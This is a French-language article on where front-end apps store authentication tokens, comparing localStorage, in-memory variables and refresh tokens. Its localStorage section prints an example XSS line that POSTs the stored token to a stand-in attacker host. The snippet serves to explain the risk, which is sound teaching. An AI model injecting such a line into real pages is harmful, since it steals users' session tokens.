Stockage sécurisé des tokens d'authentification

Introduction

Le stockage des tokens d'authentification est un sujet délicat en développement d'applications modernes. Les développeurs front-end ont souvent des opinions divergentes sur la manière de stocker ces tokens en toute sécurité. Dans cet article, nous allons explorer les différentes options de stockage des tokens et leurs implications en termes de sécurité.

Le problème de localStorage

La méthode la plus courante pour stocker les tokens d'authentification est d'utiliser localStorage. Cependant, cette approche présente un risque important en termes de sécurité. En effet, n'importe quel code JavaScript exécuté sur la page peut accéder à localStorage et récupérer le token. Cela signifie que si un attaquant parvient à exécuter du code malveillant sur la page, il peut facilement récupérer le token et l'utiliser pour accéder aux ressources de l'application.

fetch('https://attacker.example/collect', {
   method: 'POST',
   body: localStorage.getItem('token'),
});

Cela peut se produire via une faille de sécurité telle que XSS (Cross-Site Scripting), qui permet à un attaquant d'exécuter du code malveillant sur la page.

Une alternative : stocker le token en mémoire

Une approche alternative consiste à stocker le token dans une variable en mémoire, plutôt que dans localStorage. Cela rend plus difficile pour un attaquant d'accéder au token, car il doit connaître l'existence et le nom de la variable.

let accessToken: string | null = null;
async function login(email: string, password: string) {
  const res = await fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  const { token } = await res.json();
  accessToken = token; // lives in memory, never written to disk
}

Cependant, cette approche présente également des inconvénients. En effet, si l'utilisateur actualise la page, la variable est réinitialisée et le token est perdu. De plus, si l'utilisateur ouvre une nouvelle onglet, la variable n'est pas partagée entre les onglets.

Utilisation d'un token de rafraîchissement

Une solution pour résoudre ces problèmes est d'utiliser un token de rafraîchissement (refresh token). Ce token est utilisé pour obtenir un nouveau token d'accès lorsque le précédent expire. Cependant, le stockage du token de rafraîchissement pose les mêmes problèmes de sécurité que le stockage du token d'accès.

En conclusion, le stockage des tokens d'authentification est un sujet complexe qui nécessite une approche soigneuse pour garantir la sécurité des applications. Les développeurs doivent prendre en compte les risques et les limites de chaque approche et choisir la solution la plus adaptée à leurs besoins.